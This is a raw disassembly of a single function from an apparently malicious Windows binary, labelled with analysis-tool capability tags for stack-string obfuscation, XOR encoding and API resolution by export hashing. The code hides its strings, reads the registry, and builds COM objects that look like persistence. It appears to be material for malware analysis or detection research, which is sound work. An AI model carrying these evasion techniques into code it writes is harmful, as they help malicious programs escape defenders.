Function at 0x405a21
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x8e8
push ebx
push ebp
push esi
push edi
push dword [esp + 0x904]
lea ecx, [esp + 0x1f0]
call fcn.00405663
cmp dword [esp + 0x200], 8
lea ecx, [esp + 0x1ec]
mov eax, dword [esp + 0x1fc]
lea edx, [esp + 0x17]
cmovae ecx, dword [esp + 0x1ec]
push edx
lea eax, [ecx + eax*2]
lea ecx, [esp + 0x1f0]
cmovae ecx, dword [esp + 0x1f0]
push eax
push ecx
lea ecx, [esp + 0x2a0]
call fcn.004053dd
push 0x416840
lea ecx, [esp + 0x298]
call fcn.00401cf0
test al, al
jne 0x405b5d
push 8
xor eax, eax
lea edi, [esp + 0x2c8]
pop ecx
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x17]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x2c4]
push eax
call fcn.00404f60
xor ebx, ebx
mov dword [esp + 0x10], 0x312b7c
mov cl, 0x7c
mov eax, ebx
xor byte [esp + eax + 0x11], cl
inc eax
cmp eax, 2
jae 0x405ada
mov cl, byte [esp + 0x10]
jmp 0x405aca
lea eax, [esp + 0x2c4]
mov byte [esp + 0x13], bl
push eax
lea ecx, [esp + 0x1bc]
call fcn.004014df
push eax
lea eax, [esp + 0x15]
push eax
lea eax, [esp + 0x23c]
push eax
call fcn.00405422
add esp, 0xc
lea ecx, [esp + 0x1b8]
call fcn.00401655
push 0x10
pop edi
cmp dword [esp + 0x248], edi
lea eax, [esp + 0x234]
cmovae eax, dword [esp + 0x234]
push eax
push 1
push ebx
push 0x2653dbac
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
test eax, eax
je 0x405b84
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405b84
lea ecx, [esp + 0x234]
call fcn.00401655
lea ecx, [esp + 0x294]
call fcn.00401655
lea ecx, [esp + 0x1ec]
call fcn.00405893
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x8e8
ret 0x10
push 0x2710
push 0x310d1257
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
push 0x104
lea eax, [esp + 0x2ec]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
lea eax, [esp + 0x300]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 4
pop ebp
mov al, 0x25
mov dword [esp + 0x3c], 0x736e7525
mov word [esp + 0x40], 0x6c
mov ecx, ebx
movsx eax, al
and eax, 0x8000000f
jns 0x405bea
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x3d], al
inc ecx
cmp ecx, ebp
jae 0x405bf9
mov al, byte [esp + 0x3c]
jmp 0x405bdb
lea eax, [esp + 0x3d]
mov byte [esp + 0x41], bl
push eax
mov ecx, 0x41e6d8
call fcn.00401cf0
test al, al
je 0x406f97
push 0x7b
pop eax
mov byte [esp + 0x8e], al
mov cl, 0x14
mov dword [esp + 0x88], 0x77753214
mov eax, ebx
mov word [esp + 0x8c], 0x7d60
mov word [esp + 0x8f], 0x297a
mov byte [esp + 0x91], bl
xor byte [esp + eax + 0x89], cl
inc eax
cmp eax, 8
jae 0x405c5e
mov cl, byte [esp + 0x88]
jmp 0x405c48
mov byte [esp + 0x91], bl
mov al, 0x5a
mov dword [esp + 0x57], 0x7e796c5a
mov ecx, ebx
mov dword [esp + 0x5b], 0x476e73
movsx eax, al
and eax, 0x8000000f
jns 0x405c88
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x58], al
inc ecx
cmp ecx, 6
jae 0x405c98
mov al, byte [esp + 0x57]
jmp 0x405c79
sub esp, 0x18
mov byte [esp + 0x76], bl
lea eax, [esp + 0x2ac]
mov ecx, esp
push eax
call fcn.00401b8f
sub esp, 0x18
lea eax, [esp + 0xb9]
mov esi, esp
push 0x41e6d8
push eax
lea eax, [esp + 0x26c]
push eax
lea eax, [esp + 0x94]
push eax
lea eax, [esp + 0x2ec]
push eax
call fcn.00401901
add esp, 0xc
push eax
lea eax, [esp + 0x1f4]
push eax
call fcn.004018db
add esp, 0xc
push eax
push esi
call fcn.004018bf
add esp, 0xc
lea eax, [esp + 0x294]
lea ecx, [esp + 0x47]
push eax
call fcn.004023e9
lea ecx, [esp + 0x1b8]
call fcn.00401655
lea ecx, [esp + 0x2ac]
call fcn.00401655
mov al, 0x64
mov dword [esp + 0x42], 0x76744064
mov word [esp + 0x46], 0x69
mov ecx, ebx
movsx eax, al
and eax, 0x8000000f
jns 0x405d46
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x43], al
inc ecx
cmp ecx, ebp
jae 0x405d55
mov al, byte [esp + 0x42]
jmp 0x405d37
push ebx
lea eax, [esp + 0x47]
mov byte [esp + 0x4b], bl
push eax
lea ecx, [esp + 0x26c]
call fcn.00401e31
mov cl, 0x7c
mov dword [esp + 0x5f], 0xc53407c
mov dword [esp + 0x63], 0x42190e
lea esi, [eax + 0xe]
mov eax, ebx
xor byte [esp + eax + 0x60], cl
inc eax
cmp eax, 6
jae 0x405d92
mov cl, byte [esp + 0x5f]
jmp 0x405d82
push ebx
lea eax, [esp + 0x64]
mov byte [esp + 0x6a], bl
push eax
lea ecx, [esp + 0x26c]
call fcn.00401e31
lea ecx, [esp + 0x16]
sub eax, esi
push ecx
push eax
push esi
lea eax, [esp + 0x270]
push eax
lea ecx, [esp + 0x184]
call fcn.00401bc3
mov esi, 0x416840
lea ecx, [esp + 0x130]
push esi
call fcn.004014df
push str._r_n_t_
lea ecx, [esp + 0xc0]
call fcn.004014df
lea eax, [esp + 0x130]
push eax
lea eax, [esp + 0xc0]
push eax
sub esp, 0x18
lea eax, [esp + 0x194]
mov ecx, esp
push eax
call fcn.00401b8f
lea eax, [esp + 0x1d8]
push eax
call fcn.0040294b
add esp, 0x24
lea ecx, [esp + 0x174]
push eax
call fcn.00402b88
lea ecx, [esp + 0x1b8]
call fcn.00401655
lea ecx, [esp + 0xbc]
call fcn.00401655
lea ecx, [esp + 0x130]
call fcn.00401655
push esi
lea ecx, [esp + 0x134]
call fcn.004014df
push 0x416ad4
lea ecx, [esp + 0xc0]
call fcn.004014df
lea eax, [esp + 0x130]
push eax
lea eax, [esp + 0xc0]
push eax
sub esp, 0x18
lea eax, [esp + 0x194]
mov ecx, esp
push eax
call fcn.00401b8f
lea eax, [esp + 0x1d8]
push eax
call fcn.0040294b
add esp, 0x24
lea ecx, [esp + 0x174]
push eax
call fcn.00402b88
lea ecx, [esp + 0x1b8]
call fcn.00401655
lea ecx, [esp + 0xbc]
call fcn.00401655
lea ecx, [esp + 0x130]
call fcn.00401655
push esi
lea ecx, [esp + 0x134]
call fcn.004014df
push 0x416ad8
lea ecx, [esp + 0xc0]
call fcn.004014df
lea eax, [esp + 0x130]
push eax
lea eax, [esp + 0xc0]
push eax
sub esp, 0x18
lea eax, [esp + 0x194]
mov ecx, esp
push eax
call fcn.00401b8f
lea eax, [esp + 0x1d8]
push eax
call fcn.0040294b
add esp, 0x24
lea ecx, [esp + 0x174]
push eax
call fcn.00402b88
lea ecx, [esp + 0x1b8]
call fcn.00401655
lea ecx, [esp + 0xbc]
call fcn.00401655
lea ecx, [esp + 0x130]
call fcn.00401655
push ebx
lea eax, [esp + 0x238]
push eax
lea ecx, [esp + 0x17c]
call fcn.0040279b
cmp eax, 0xffffffff
je 0x406f7f
mov cl, 0x1f
mov dword [esp + 0x67], 0x737e691f
mov dword [esp + 0x6b], 0x227a6a
mov eax, ebx
xor byte [esp + eax + 0x68], cl
inc eax
cmp eax, 6
jae 0x405f8f
mov cl, byte [esp + 0x67]
jmp 0x405f7f
push ebx
lea eax, [esp + 0x6c]
mov byte [esp + 0x72], bl
push eax
lea ecx, [esp + 0x17c]
call fcn.00401e31
cmp eax, 0xffffffff
je 0x406f7f
mov cl, 0x64
mov dword [esp + 0x6f], 0x8051264
mov dword [esp + 0x73], 0x590111
mov eax, ebx
xor byte [esp + eax + 0x70], cl
inc eax
cmp eax, 6
jae 0x405fd2
mov cl, byte [esp + 0x6f]
jmp 0x405fc2
push ebx
lea eax, [esp + 0x74]
mov byte [esp + 0x7a], bl
push eax
lea ecx, [esp + 0x17c]
call fcn.00401e31
mov dl, 0x61
mov dword [esp + 0x2b], 0x3f302161
mov byte [esp + 0x2f], bl
mov ecx, ebx
lea esi, [eax + 6]
movsx eax, dl
and eax, 0x8000000f
jns 0x40600a
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x2c], al
inc ecx
cmp ecx, 3
jae 0x40601a
mov dl, byte [esp + 0x2b]
jmp 0x405ffb
push ebx
lea eax, [esp + 0x30]
mov byte [esp + 0x33], bl
push eax
lea ecx, [esp + 0x17c]
call fcn.00401e31
lea ecx, [esp + 0x16]
sub eax, esi
push ecx
push eax
push esi
lea eax, [esp + 0x180]
push eax
lea ecx, [esp + 0xcc]
call fcn.00401bc3
lea ecx, [esp + 0x174]
call fcn.00401655
lea eax, [esp + 0xbc]
push eax
lea ecx, [esp + 0x178]
call fcn.00401d1c
lea ecx, [esp + 0xbc]
call fcn.00401655
mov esi, 0x416840
lea ecx, [esp + 0x130]
push esi
call fcn.004014df
push 0x416854
lea ecx, [esp + 0xc0]
call fcn.004014df
lea eax, [esp + 0x130]
push eax
lea eax, [esp + 0xc0]
push eax
sub esp, 0x18
lea eax, [esp + 0x194]
mov ecx, esp
push eax
call fcn.00401b8f
lea eax, [esp + 0x1f4]
push eax
call fcn.0040294b
add esp, 0x24
lea ecx, [esp + 0xbc]
call fcn.00401655
lea ecx, [esp + 0x130]
call fcn.00401655
push ebx
push 0x416a8c
lea ecx, [esp + 0x1dc]
call fcn.00401e31
cmp eax, 0xffffffff
je 0x406738
mov al, 0x36
mov dword [esp + 0x30], 0x747c6e36
mov word [esp + 0x34], 0x69
mov ecx, ebx
movsx eax, al
and eax, 0x8000000f
jns 0x406123
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x31], al
inc ecx
cmp ecx, ebp
jae 0x406132
mov al, byte [esp + 0x30]
jmp 0x406114
lea eax, [esp + 0x31]
mov byte [esp + 0x35], bl
push eax
call fcn.0040bc60
pop ecx
push eax
lea eax, [esp + 0x35]
mov ecx, 0x41e6d8
push eax
call fcn.00404f17
mov al, 0x25
mov byte [esp + 0x54], 0x1f
xor al, 0x1f
mov byte [esp + 0x56], bl
mov byte [esp + 0x55], al
lea ecx, [esp + 0x1d4]
push ebx
lea eax, [esp + 0x59]
push eax
call fcn.00401e31
lea ecx, [esp + 0x16]
push ecx
push eax
push ebx
lea eax, [esp + 0x1e0]
push eax
lea ecx, [esp + 0x1c8]
call fcn.00401bc3
push 0x7b
pop eax
mov byte [esp + 0x48], al
mov cl, 0x45
movsx eax, al
mov byte [esp + 0x4a], bl
and eax, 0x8000000f
jns 0x4061ab
dec eax
or eax, 0xfffffff0
inc eax
mov esi, dword [esp + 0x1e4]
sub cl, al
push ebx
lea eax, [esp + 0x4d]
mov byte [esp + 0x4d], cl
push eax
lea ecx, [esp + 0x1dc]
mov byte [esp + 0x52], bl
call fcn.00401e31
lea ecx, [esp + 0x16]
inc eax
push ecx
push esi
push eax
lea eax, [esp + 0x1e0]
push eax
lea ecx, [esp + 0xf4]
call fcn.00401bc3
cmp dword [esp + 0xf8], edi
lea ecx, [esp + 0xe4]
mov eax, dword [esp + 0xf4]
lea edx, [esp + 0x16]
cmovae ecx, dword [esp + 0xe4]
add eax, ecx
lea ecx, [esp + 0xe4]
cmp dword [esp + 0xf8], edi
push edx
cmovae ecx, dword [esp + 0xe8]
push eax
push ecx
lea ecx, [esp + 0xc8]
call fcn.00405397
mov dword [esp + 0xb8], ebx
mov eax, ebx
mov dword [esp + 0xb4], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x18c], 0xff96ffb2
mov dword [esp + 0x190], 0xff8dff9c
mov dword [esp + 0x194], 0xff8cff90
mov dword [esp + 0x198], 0xff99ff90
mov dword [esp + 0x19c], 0xffdfff8b
mov dword [esp + 0x1a0], 0xff9bffba
mov dword [esp + 0x1a4], 0xff9aff98
mov dword [esp + 0x1a8], 0xffaaffdf
mov dword [esp + 0x1ac], 0xff9bff8f
mov dword [esp + 0x1b0], 0xff8bff9e
mov dword [esp + 0x1b4], 0xff9a
not word [esp + eax*2 + 0x18c]
inc eax
cmp eax, 0x15
jb 0x4062c3
xor eax, eax
mov ebp, 0xe694ef24
mov word [esp + 0x1b6], ax
lea eax, [esp + 0x18c]
push eax
push ebp
push 0xe
pop edi
push edi
call fcn.004011e9
pop ecx
pop ecx
call eax
mov dword [esp + 0xd8], eax
mov eax, ebx
mov dword [esp + 0x148], 0xff96ffb2
mov dword [esp + 0x14c], 0xff8dff9c
mov dword [esp + 0x150], 0xff8cff90
mov dword [esp + 0x154], 0xff99ff90
mov dword [esp + 0x158], 0xffdfff8b
mov dword [esp + 0x15c], 0xff9bffba
mov dword [esp + 0x160], 0xff9aff98
mov dword [esp + 0x164], 0xffaaffdf
mov dword [esp + 0x168], 0xff9bff8f
mov dword [esp + 0x16c], 0xff8bff9e
mov dword [esp + 0x170], 0xff9a
not word [esp + eax*2 + 0x148]
inc eax
cmp eax, 0x15
jb 0x406378
xor eax, eax
mov word [esp + 0x172], ax
lea eax, [esp + 0x148]
push eax
push ebp
push edi
call fcn.004011e9
pop ecx
pop ecx
call eax
mov ebp, eax
mov dword [esp + 0xfc], 0xff96ffb2
xor eax, eax
mov dword [esp + 0x100], 0xff8dff9c
mov word [esp + 0x118], ax
mov eax, ebx
mov dword [esp + 0x104], 0xff8cff90
mov dword [esp + 0x108], 0xff99ff90
mov dword [esp + 0x10c], 0xffdfff8b
mov dword [esp + 0x110], 0xff9bffba
mov dword [esp + 0x114], 0xff9aff98
not word [esp + eax*2 + 0xfc]
inc eax
cmp eax, edi
jb 0x4063fe
xor eax, eax
mov word [esp + 0x118], ax
lea eax, [esp + 0xfc]
push eax
push 0xe694ef24
push edi
call fcn.004011e9
pop ecx
pop ecx
call eax
cmp dword [esp + 0xd0], 8
lea ecx, [esp + 0xbc]
mov esi, eax
cmovae ecx, dword [esp + 0xbc]
push ecx
push 0xe694ef24
push edi
call fcn.004011e9
pop ecx
pop ecx
call eax
push 2
push ebx
push 0x85f5fbe4
push 5
mov edi, eax
call fcn.004011e9
pop ecx
pop ecx
call eax
mov ebx, eax
cmp ebx, 0x80010106
je 0x40647c
test ebx, ebx
js 0x406643
lea eax, [esp + 0xb8]
push eax
call fcn.0040583f
pop ecx
test eax, eax
js 0x406643
mov eax, dword [esp + 0xb8]
lea edx, [esp + 0xb4]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x406643
mov eax, dword [esp + 0xb8]
lea edx, [esp + 0x24]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
js 0x406643
xor dword [esp + 0x24], 1
lea eax, [esp + 0x10]
push eax
push 0x416ac0
push 1
push 0
push 0x416ab0
push 0xf3add431
push 5
call fcn.004011e9
pop ecx
pop ecx
call eax
test eax, eax
js 0x406643
mov eax, dword [esp + 0x10]
push dword [esp + 0xd8]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov eax, dword [esp + 0x10]
push ebp
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [esp + 0x10]
push 6
push eax
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [esp + 0x10]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [esp + 0x10]
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x70]
mov eax, dword [esp + 0x10]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x90]
mov eax, dword [esp + 0x10]
push dword [esp + 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x98]
mov eax, dword [esp + 0x10]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa8]
mov eax, dword [esp + 0x10]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0x88]
mov eax, dword [esp + 0xb4]
push dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
xor dword [esp + 0x24], 2
lea eax, [esp + 0x10]
push eax
push 0x416ac0
push 1
push 0
push 0x416ab0
push 0xf3add431
push 5
call fcn.004011e9
pop ecx
pop ecx
call eax
test eax, eax
js 0x406643
mov eax, dword [esp + 0x10]
push dword [esp + 0xd8]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov eax, dword [esp + 0x10]
push ebp
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [esp + 0x10]
push 6
push eax
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [esp + 0x10]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [esp + 0x10]
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x70]
mov eax, dword [esp + 0x10]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x90]
mov eax, dword [esp + 0x10]
push dword [esp + 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x98]
mov eax, dword [esp + 0x10]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa8]
mov eax, dword [esp + 0x10]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0x88]
mov eax, dword [esp + 0xb4]
push dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
push dword [esp + 0xd8]
push 0xbe4c2a40
push 0xe
call fcn.004011e9
pop ecx
pop ecx
call eax
push ebp
mov ebp, 0xbe4c2a40
push ebp
push 0xe
call fcn.004011e9
pop ecx
pop ecx
call eax
push esi
push ebp
push 0xe
call fcn.004011e9
pop ecx
pop ecx
call eax
push edi
push ebp
push 0xe
call fcn.004011e9
pop ecx
pop ecx
call eax
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x406694
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esp + 0xb4]
test ecx, ecx
je 0x4066a5
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esp + 0xb8]
test ecx, ecx
je 0x4066b6
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
test ebx, ebx
js 0x4066ca
push 0xa7e24daf
push 5
call fcn.004011e9
pop ecx
pop ecx
call eax
push 0x10
pop edi
cmp dword [esp + 0x1e8], edi
lea eax, [esp + 0x1d4]
mov ebp, 0x41e658
cmovae eax, dword [esp + 0x1d4]
push eax
push ebp
call fcn.0040c000
pop ecx
pop ecx
xor ebx, ebx
push ebx
push ebx
push ebp
push 0x4056dd
push ebx
push ebx
push 0x6f95f94f
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
lea ecx, [esp + 0xbc]
call fcn.00405893
lea ecx, [esp + 0xe4]
call fcn.00401655
lea ecx, [esp + 0x1b8]
call fcn.00401655
push 4
pop ebp
jmp 0x406f73
mov cl, 0x6b
mov dword [esp + 0x7f], 0x1805026b
mov dword [esp + 0x83], 0x7070a1f
mov eax, ebx
mov byte [esp + 0x87], bl
xor byte [esp + eax + 0x80], cl
inc eax
cmp eax, 7
jae 0x406769
mov cl, byte [esp + 0x7f]
jmp 0x406756
lea eax, [esp + 0x80]
mov byte [esp + 0x87], bl
push eax
lea ecx, [esp + 0x1d8]
call fcn.00401cf0
test al, al
je 0x406f73
mov al, 0x50
mov dword [esp + 0x4b], 0x736e6950
mov dword [esp + 0x4f], 0x6c6c6174
mov ecx, ebx
mov byte [esp + 0x53], bl
movsx eax, al
and eax, 0x8000000f
jns 0x4067b3
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 7
jae 0x4067c3
mov al, byte [esp + 0x4b]
jmp 0x4067a4
lea eax, [esp + 0x4c]
mov byte [esp + 0x53], bl
push eax
call fcn.0040bc60
pop ecx
push eax
lea eax, [esp + 0x50]
mov ecx, 0x41e6d8
push eax
call fcn.00404f17
push 0x208
lea eax, [esp + 0x4ec]
push ebx
push eax
call fcn.00407f10
push 0x208
lea eax, [esp + 0x700]
push ebx
push eax
call fcn.00407f10
add esp, 0x18
mov dword [esp + 0xdc], 0x104
lea eax, [esp + 0xdc]
push eax
lea eax, [esp + 0x4ec]
push eax
push 0x525d503d
push ebp
call fcn.004011e9
pop ecx
pop ecx
call eax
lea eax, [esp + 0xdc]
mov dword [esp + 0xdc], 0x104
push eax
lea eax, [esp + 0x6f4]
push eax
push 0xb1a88e58
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
lea eax, [esp + 0x4e8]
push eax
lea ecx, [esp + 0x220]
call fcn.00405663
cmp dword [esp + 0x230], 8
lea ecx, [esp + 0x21c]
mov eax, dword [esp + 0x22c]
lea edx, [esp + 0x16]
cmovae ecx, dword [esp + 0x21c]
push edx
lea eax, [ecx + eax*2]
lea ecx, [esp + 0x220]
cmovae ecx, dword [esp + 0x220]
push eax
push ecx
lea ecx, [esp + 0xc8]
call fcn.004053dd
lea eax, [esp + 0x6f0]
push eax
lea ecx, [esp + 0x208]
call fcn.00405663
cmp dword [esp + 0x218], 8
lea ecx, [esp + 0x204]
mov eax, dword [esp + 0x214]
lea edx, [esp + 0x16]
cmovae ecx, dword [esp + 0x204]
push edx
lea eax, [ecx + eax*2]
lea ecx, [esp + 0x208]
cmovae ecx, dword [esp + 0x208]
push eax
push ecx
lea ecx, [esp + 0x13c]
call fcn.004053dd
push esi
lea ecx, [esp + 0x250]
call fcn.004014df
mov dword [esp + 0x12c], 0x200
movaps xmm0, xmmword [0x416b10]
mov ecx, ebx
movups xmmword [esp + 0xfc], xmm0
mov dword [esp + 0x11c], 0x2e39393e
movaps xmm0, xmmword [0x416b00]
movups xmmword [esp + 0x10c], xmm0
mov dword [esp + 0x120], 0x2e1d3f25
mov dword [esp + 0x124], 0x24223839
mov word [esp + 0x128], 0x25
mov al, byte [esp + 0xfc]
xor byte [esp + ecx + 0xfd], al
inc ecx
cmp ecx, 0x2c
jb 0x406970
lea eax, [esp + 0xe0]
mov byte [esp + 0x129], bl
push eax
push 0x20019
push ebx
lea eax, [esp + 0x109]
push eax
push 0x80000002
push 0x3ec5852c
push ebp
call fcn.004011e9
pop ecx
pop ecx
call eax
test eax, eax
jne 0x406b2e
mov al, 0x34
mov dword [esp + 0xa7], 0x73765434
mov dword [esp + 0xab], 0x78677968
mov ecx, ebx
mov dword [esp + 0xaf], 0x69716552
mov byte [esp + 0xb3], bl
movsx eax, al
and eax, 0x8000000f
jns 0x4069f8
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0xa8], al
inc ecx
cmp ecx, 0xb
jae 0x406a0e
mov al, byte [esp + 0xa7]
jmp 0x4069e9
lea eax, [esp + 0x12c]
mov byte [esp + 0xb3], bl
push eax
lea eax, [esp + 0x2ec]
mov esi, 0x4fc65201
push eax
push ebx
push ebx
lea eax, [esp + 0xb8]
push eax
push dword [esp + 0xf4]
push esi
push ebp
call fcn.004011e9
pop ecx
pop ecx
call eax
test eax, eax
jne 0x406a77
lea eax, [esp + 0x2e8]
push eax
lea ecx, [esp + 0xe8]
call fcn.004014df
push eax
lea ecx, [esp + 0x250]
call fcn.00402b88
lea ecx, [esp + 0xe4]
call fcn.00401655
movaps xmm0, xmmword [0x416af0]
mov ecx, ebx
movups xmmword [esp + 0xe4], xmm0
mov al, byte [esp + 0xe4]
xor byte [esp + ecx + 0xe5], al
inc ecx
cmp ecx, 0xe
jb 0x406a88
lea eax, [esp + 0x12c]
mov byte [esp + 0xf3], bl
push eax
lea eax, [esp + 0x2ec]
push eax
push ebx
push ebx
lea eax, [esp + 0xf5]
push eax
push dword [esp + 0xf4]
push esi
push ebp
call fcn.004011e9
pop ecx
pop ecx
call eax
test eax, eax
jne 0x406b2e
lea eax, [esp + 0x2e8]
push eax
lea ecx, [esp + 0x14c]
call fcn.004014df
push eax
lea eax, [esp + 0x280]
push 0x416adc
push eax
call fcn.00405422
add esp, 0xc
mov ecx, eax
cmp dword [eax + 0x14], edi
jb 0x406b06
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [esp + 0x254]
call fcn.00401dbf
lea ecx, [esp + 0x27c]
call fcn.00401655
lea ecx, [esp + 0x148]
call fcn.00401655
push dword [esp + 0xe0]
push 0x56d6feca
push ebp
call fcn.004011e9
pop ecx
pop ecx
call eax
lea eax, [esp + 0x1d0]
push eax
push 0xffffffffffffffff
push 0xd1afcbf4
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
cmp dword [esp + 0x1d0], 0
mov ecx, ebx
jne 0x406bae
mov al, 0x4e
mov dword [esp + 0x36], 0x41862e4e
mov word [esp + 0x3a], 0x40
movsx eax, al
and eax, 0x8000000f
jns 0x406b89
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x37], al
inc ecx
cmp ecx, ebp
jae 0x406b98
mov al, byte [esp + 0x36]
jmp 0x406b7a
lea eax, [esp + 0x37]
mov byte [esp + 0x3b], bl
push eax
call fcn.0040bc60
pop ecx
push eax
lea eax, [esp + 0x3b]
jmp 0x406bf1
mov al, 0x75
mov dword [esp + 0x18], 0x3b7d2575
mov word [esp + 0x1c], 0x39
movsx eax, al
and eax, 0x8000000f
jns 0x406bce
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x19], al
inc ecx
cmp ecx, ebp
jae 0x406bdd
mov al, byte [esp + 0x18]
jmp 0x406bbf
lea eax, [esp + 0x19]
mov byte [esp + 0x1d], bl
push eax
call fcn.0040bc60
pop ecx
push eax
lea eax, [esp + 0x1d]
push eax
lea ecx, [esp + 0x254]
call fcn.00401dbf
mov esi, 0x416ae0
lea eax, [esp + 0x24c]
push esi
push eax
lea eax, [esp + 0x284]
push eax
call fcn.004029a6
add esp, 0xc
lea ecx, [esp + 0x130]
cmp dword [esp + 0x144], edi
cmovae ecx, dword [esp + 0x130]
push dword [esp + 0x140]
push ecx
mov ecx, eax
call fcn.00401dbf
push eax
lea ecx, [esp + 0xe8]
call fcn.00401b6b
push esi
lea eax, [esp + 0xe8]
push eax
lea eax, [esp + 0x150]
push eax
call fcn.004018db
add esp, 0xc
lea ecx, [esp + 0xbc]
cmp dword [esp + 0xd0], edi
cmovae ecx, dword [esp + 0xbc]
push dword [esp + 0xcc]
push ecx
mov ecx, eax
call fcn.00401dbf
push eax
lea ecx, [esp + 0x1bc]
call fcn.00401b6b
lea ecx, [esp + 0x148]
call fcn.00401655
lea ecx, [esp + 0xe4]
call fcn.00401655
lea ecx, [esp + 0x27c]
call fcn.00401655
sub esp, 0x18
lea eax, [esp + 0x1d0]
mov ecx, esp
push eax
call fcn.00401b8f
lea eax, [esp + 0x2c4]
push eax
lea ecx, [esp + 0xf2]
call fcn.00401686
mov al, 0x2b
mov dword [esp + 0x9c], 0x7a6d312b
mov dword [esp + 0xa0], 0x7f6c6f7f
mov ecx, ebx
mov word [esp + 0xa4], 0x486c
mov byte [esp + 0xa6], bl
movsx eax, al
and eax, 0x8000000f
jns 0x406d1d
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x9d], al
inc ecx
cmp ecx, 9
jae 0x406d33
mov al, byte [esp + 0x9c]
jmp 0x406d0e
push 0x7b
pop eax
mov byte [esp + 0x95], al
mov cl, 0x18
mov byte [esp + 0xa6], bl
mov eax, ebx
mov word [esp + 0x92], 0x3e18
mov byte [esp + 0x94], 0x79
mov dword [esp + 0x96], 0x7677716c
mov word [esp + 0x9a], 0x25
xor byte [esp + eax + 0x93], cl
inc eax
cmp eax, 8
jae 0x406d85
mov cl, byte [esp + 0x92]
jmp 0x406d6f
mov byte [esp + 0x9b], bl
mov al, 0x6f
mov dword [esp + 0x77], 0x837e716f
mov ecx, ebx
mov dword [esp + 0x7b], 0x4c7378
movsx eax, al
and eax, 0x8000000f
jns 0x406daf
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x78], al
inc ecx
cmp ecx, 6
jae 0x406dbf
mov al, byte [esp + 0x77]
jmp 0x406da0
lea eax, [esp + 0x93]
mov byte [esp + 0x7e], bl
push eax
lea eax, [esp + 0x238]
push eax
lea eax, [esp + 0x80]
push eax
lea eax, [esp + 0x108]
push eax
call fcn.00401901
add esp, 0xc
push eax
lea eax, [esp + 0x194]
push eax
call fcn.004018db
add esp, 0xc
mov ecx, 0x41e6d8
cmp dword [0x41e6ec], edi
cmovae ecx, dword [0x41e6d8]
push dword [0x41e6e8]
push ecx
mov ecx, eax
call fcn.00401dbf
push eax
lea ecx, [esp + 0xe8]
call fcn.00401b6b
sub esp, 0x18
lea eax, [esp + 0x2ac]
mov ecx, esp
push eax
call fcn.00401b8f
sub esp, 0x18
lea eax, [esp + 0x2dc]
mov esi, esp
push eax
lea eax, [esp + 0xd1]
push eax
lea eax, [esp + 0x11c]
push eax
lea eax, [esp + 0x2b8]
push eax
call fcn.004018db
add esp, 0xc
push eax
push esi
call fcn.004018bf
add esp, 0xc
lea eax, [esp + 0x178]
lea ecx, [esp + 0x107]
push eax
call fcn.004023e9
push eax
lea ecx, [esp + 0x268]
call fcn.00402b88
lea ecx, [esp + 0x148]
call fcn.00401655
lea ecx, [esp + 0x27c]
call fcn.00401655
lea ecx, [esp + 0xe4]
call fcn.00401655
lea ecx, [esp + 0x18c]
call fcn.00401655
lea ecx, [esp + 0xfc]
